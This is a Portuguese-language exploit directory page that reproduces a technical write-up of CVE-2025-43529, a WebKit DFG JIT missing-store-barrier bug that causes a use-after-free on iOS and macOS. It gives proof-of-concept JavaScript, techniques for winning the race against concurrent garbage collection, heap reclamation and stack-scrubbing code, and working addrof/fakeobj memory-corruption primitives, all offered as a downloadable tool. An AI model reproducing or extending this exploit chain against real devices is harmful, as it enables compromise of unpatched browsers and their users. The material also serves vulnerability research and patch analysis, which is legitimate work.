Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-43529 — Exploit técnico para CVE-2025-43529, uma vulnerabilidade do compilador JIT DFG do WebKit que permite use-after-free via barreira de armazenamento ausente em GC concorrente, com primitivas de exploração completas para iOS e macOS. | Kitploit
Ferramentas/GitHubGitHub/jir4vv1t/cve-2025-43529
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança WebExploração de Binários
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Exploit técnico para CVE-2025-43529, uma vulnerabilidade do compilador JIT DFG do WebKit que permite use-after-free via barreira de armazenamento ausente em GC concorrente, com primitivas de exploração completas para iOS e macOS.

Ver Repositório
85115há 8 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-43529

TL;DR

A Apple lançou recentemente o iOS 26.2 e o iPadOS 26.2, junto com um aviso de segurança que inclui correções para vulnerabilidades no WebKit. Um bug no compilador DFG JIT (CVE-2025-43529) se destacou, então decidi investigá-lo.

O compilador JIT reconheceu corretamente que um nó Phi (onde múltiplos caminhos de fluxo de controle se fundem) havia escapado, mas não percebeu que os nós Upsilon do Phi também haviam escapado. Por causa disso, a compilação DFG StoreBarrierInsertionPhase pulou a inserção de uma Store Barrier, que é um mecanismo chave de segurança de memória. Como resultado, o GC concorrente pode perder objetos que deveria ter varrido, o que pode levar a um use-after-free.

Você pode encontrar o commit do patch aqui.

Confirmei que meu exploit funciona no iOS 26.1, iPadOS 26.1 e macOS Tahoe 26.0.1.

Contexto

GC Geracional

O JSC usa um modelo de GC geracional para gerenciar o heap de forma eficiente. Neste modelo, a memória é dividida em Eden (novo espaço) e espaço antigo com base na idade do objeto. Todos os objetos recém-alocados começam em Eden. Quando Eden enche, um GC Eden é acionado e quaisquer objetos sobreviventes são promovidos ao espaço antigo. Limpar objetos do espaço antigo requer um GC completo.

Para fazer o GC geracional funcionar, o GC precisa classificar os objetos como "já varridos", "precisa ser varrido" ou "precisa ser revardido". No JSC, isso é rastreado usando o cellState de um objeto. (Todos os objetos gerenciados pelo GC herdam de JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState tem 1 byte e pode ser uma de três cores: Black (0), White (1) e Grey (2).

White significa um objeto que acabou de ser alocado em eden. No ciclo de GC atual, ele ainda não foi marcado. Se permanecer neste estado até o final do ciclo de GC, o objeto será coletado.

Black significa que o GC já terminou de marcar o objeto ou está no processo de marcá-lo. É basicamente tratado como vivo, embora o bit isMarked ainda possa estar desligado.

Grey significa um objeto que ainda precisa ser varrido. Mais precisamente, ele era originalmente Black, mas foi capturado pelo write barrier e adicionado ao remembered set. Em outras palavras, suas referências mudaram, então o GC precisa varri-lo novamente.

GC Concorrente

O JSC também possui GC Concorrente, que permite que a aplicação seja executada enquanto a memória está sendo recuperada. Se o GC está marcando um objeto em segundo plano e a aplicação muda o estado desse objeto ao mesmo tempo, você pode acabar com uma condição de corrida.

Para evitar isso, você precisa de garantias de ordenação. Como "escrever (store) A, depois ler (load) B" acontecendo exatamente nessa ordem. Mas no ARM64, por razões de desempenho, a CPU pode reordenar operações de memória. Isso significa que o GC pode ler o valor errado.

Então o JSC usa uma classe de dependência para confiar nas dependências de dados da CPU ou usa instruções ARM64 especiais como STLR e LDAR para impor ordenação. STLR garante que leituras/escritas anteriores se tornem visíveis antes do store (um release store). LDAR garante que leituras/escritas posteriores não possam se mover antes do load (um acquire load). Quando outra thread lê um objeto, LDAR é emparelhado com STLR para que ela possa observar com segurança os dados mais recentes.

DMB não é uma única instrução especial para um acesso. É uma barreira que força a ordenação em todos os acessos de memória ao seu redor. Ela garante que as operações de memória antes do DMB se tornem visíveis antes das operações depois dele.

JIT do JSC

O JSC tem três níveis JIT no total. Para equilibrar a velocidade de execução com o custo de compilação (memória/tempo), ele aplica otimizações e move o código para o próximo nível com base na frequência com que é executado.

  • Nível 1: Baseline JIT
  • Nível 2: DFG JIT
  • Nível 3: FTL JIT

Baseline JIT é o primeiro compilador JIT. Ele foca em gerar código nativo rapidamente com baixo overhead de compilação. DFG JIT é o próximo estágio após Baseline JIT, onde a otimização séria começa.

No nível DFG, as instruções JavaScript são convertidas em um grafo composto por nós IR do DFG. Usando as informações de tipo que coleta, o compilador realiza especulação para remover operações desnecessárias. No pipeline de otimização DFG do JSC, a StoreBarrierInsertionPhase insere um StoreBarrier após nós que escrevem na memória, como PutByOffset. CVE-2025-43529 é uma vulnerabilidade causada pela falha em inserir um StoreBarrier quando deveria ter sido inserido durante a StoreBarrierInsertionPhase.

Um StoreBarrier é um nó que atua como uma write barrier. É usado para preservar a correção em corridas com a thread de marcação.

Desencadeando o Bug

O cenário de nó DFG vulnerável descrito no commit do patch se parece com isso:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

Em BB#1, dois novos objetos são criados, e a execução ramifica para BB#2 ou BB#3. BB#2 então cai em BB#3. A parte interessante em BB#3 é o nó Phi. Isso significa que f é ou c ou e, e essa escolha é determinada pelos nós Upsilon upstream. Em BB#3, PutByOffset significa adicionar um valor a uma propriedade de objeto.

PoC Simplificada

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Se você usar a opção --dumpFTLDisassembly=true, pode inspecionar o assembly após a compilação FTL.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

Por causa do bug, o StoreBarrier para b não foi emitido.

O objeto A vive no espaço antigo. No primeiro PutByOffset (A.p0 = f), o objeto antigo A acaba apontando para o novo objeto f. Isso significa que a thread de marcação pode alcançar f através de A a qualquer momento após esse store. Portanto, se você posteriormente modificar as propriedades de f, um StoreBarrier deve ser inserido.

f (o nó Phi) é tratado como escapando, mas as entradas reais que podem fluir para f (via Upsilon: b e d) não são marcadas como escapando. Logicamente, se f é armazenado em A, então qualquer objeto que possa se tornar f, incluindo b, está efetivamente armazenado em A também. Mas devido ao bug, o compilador não percebe isso, então ainda acha que b é um valor "seguro" que não escapa e que o GC não precisará varrer, e acaba pulando o StoreBarrier.

Condição de Corrida

Para acionar o use-after-free, você precisa vencer uma corrida entre a thread principal e a thread de marcação. O cenário é o seguinte:

  1. Marcação concorrente (thread de marcação): A thread de marcação alcança b caminhando a partir do objeto do espaço antigo A, e marca tanto A quanto b como black.

  2. Atualização de referência (thread principal): A thread principal executa b.p0 = a. Neste ponto, a é um objeto Eden que ainda não foi marcado, então ainda está White. Isso cria um objeto Black apontando para um objeto White.

  3. Store barrier ausente: Normalmente, b deveria ser adicionado ao remembered set. Mas como o store barrier é ignorado devido ao bug, o GC nunca descobre que b agora aponta para a. O ciclo GC continua e se nada mais referenciar a, ele permanece White todo o tempo e acaba sendo liberado.

  4. Fim do ciclo GC: Depois disso, ler b.p0 pode tocar em memória liberada, o que pode levar a um use-after-free.

Janela de Corrida

A parte mais difícil de aproveitar uma condição de corrida é acertar a janela de corrida. Os objetos A e b precisam ser marcados dentro do mesmo ciclo GC. Para alinhar o tempo entre a thread principal e a thread de marcação, usei três técnicas.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

Primeiro, para garantir a janela de tempo até que a verificação de A comece, você precisa fazer o GC visitar alguns filhos. Tornei arr grande e coloquei A no último índice. Uma coisa a observar aqui é que A precisa viver no espaço antigo.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Segundo, verificar A no espaço antigo requer acionar um GC completo. Para isso, você precisa alocar objetos grandes suficientes em quantidade suficiente. Para tornar o acionamento do GC mais consistente, mantive a referência dos objetos alocados, para que não sejam otimizados como "não utilizados"; armazenei-os em A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

Terceiro, uma vez que um GC completo é acionado, se você conseguir atrasar a marcação de A usando um array suficientemente grande, a thread principal ainda precisa que a marcação de A termine logo antes de adicionar uma referência a a em b. Para forçar esse tempo, adicionei um loop grande. E para evitar que o loop seja otimizado, armazenei o valor final em b.p0.

Exploração

Recuperar a butterfly

Após um ciclo GC terminar, você pode observar que quando um MarkedBlock que contém objetos liberados é usado novamente, objetos naquele bloco que não foram marcados são varridos. No JSC, o mecanismo de sweep disponibiliza todo ou parte de um MarkedBlock para alocações futuras. O endereço do objeto liberado só se torna reutilizável pelo alocador depois que isso acontece.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

Após a corrida, o loop aloca repetidamente arrays de comprimento 5 para incentivar a recuperação da butterfly varrida. Se a butterfly for realocada, você pode detectá-la lendo as propriedades indexadas de um objeto que compartilha o mesmo endereço de butterfly.

Internamente, criar arr chama JSC::constructArrayBuffer, que aciona MarkedBlock::Handle::specializedSweep. É aqui que o FreeList para o bloco contendo a butterfly é inicialmente construído.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

Com o PoC, se o sweep for executado no bloco que contém a butterfly após a corrida, emptyMode, marksMode e newlyAllocatedMode tornam-se IsEmpty, MarksStale e DoesNotHaveNewlyAllocated, respectivamente, então a execução entra na instrução if acima.

Com um sweep normal, você precisaria construir o free list em fragmentos, mas aqui todo o bloco está vazio, então o free list é inicializado como um grande intervalo cobrindo todo o bloco. A estrutura freeList é muito simples. Ela basicamente apenas rastreia o início e o fim do chunk e seu tamanho.

Neste ponto, o freeList contém um bloco inteiro que inclui o ponteiro da butterfly.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Alocações de um freeList são tratadas por FreeList::allocateWithCellSize. Se m_intervalStart e m_intervalEnd não são iguais, o alocador trata o intervalo como tendo células livres disponíveis, retorna o ponteiro de início atual como o endereço para o novo objeto e então avança o ponteiro de início por cellSize.

Esta função é chamada de JSC::constructArray, e é acionada repetidamente dentro do loop. Eventualmente, um array recém-alocado acaba usando o endereço da butterfly liberada para sua butterfly.

Varrendo o Lixo

Existem várias razões pelas quais um exploit pode falhar, mas uma melhoria fácil é se livrar do ponteiro da butterfly que é deixado na pilha.

Durante a alocação da butterfly, o ponteiro alocado é escrito na pilha repetidamente. Se esse ponteiro ainda estiver presente mesmo após chamar a função que aciona o use-after-free, a varredura conservadora da pilha pelo GC pode capturá-lo e marcá-lo, o que impede que seja liberado e acaba "protegendo" como normal.

No PoC, isso foi resolvido chamando uma função que cria um grande número de quadros de pilha.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

Ao chamar a função recursiva, a thread principal preenche seu espaço de pilha com quadros de função, sobrescrevendo todos os endereços de butterfly restantes com outros valores. Depois disso, o ponteiro da butterfly tem menos probabilidade de ser encontrado durante a varredura da pilha, o que aumenta as chances de o GC não varrer essa butterfly.

Construindo as Primitivas

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

Com o use-after-free, você pode ter a mesma butterfly no objeto liberado a e também no array recém-alocado. Então, fazendo os dois objetos usarem IndexingTypes diferentes, você pode acessar os valores nesta única butterfly tanto em Double quanto em Contiguous. Isso leva diretamente às primitivas clássicas addrof e fakeobj.

Próximos Passos

Se você conseguiu construir as primitivas addrof/fakeobj, pode facilmente construir primitivas de leitura/escrita. Mas para obter execução de código, você ainda precisa contornar a autenticação de ponteiro. Esta parte fica como desafio.

Referências

  • Understanding Garbage Collection in JavaScriptCore From Scratch
  • About the security content of iOS 26.2 and iPadOS 26.2
Baixar ferramenta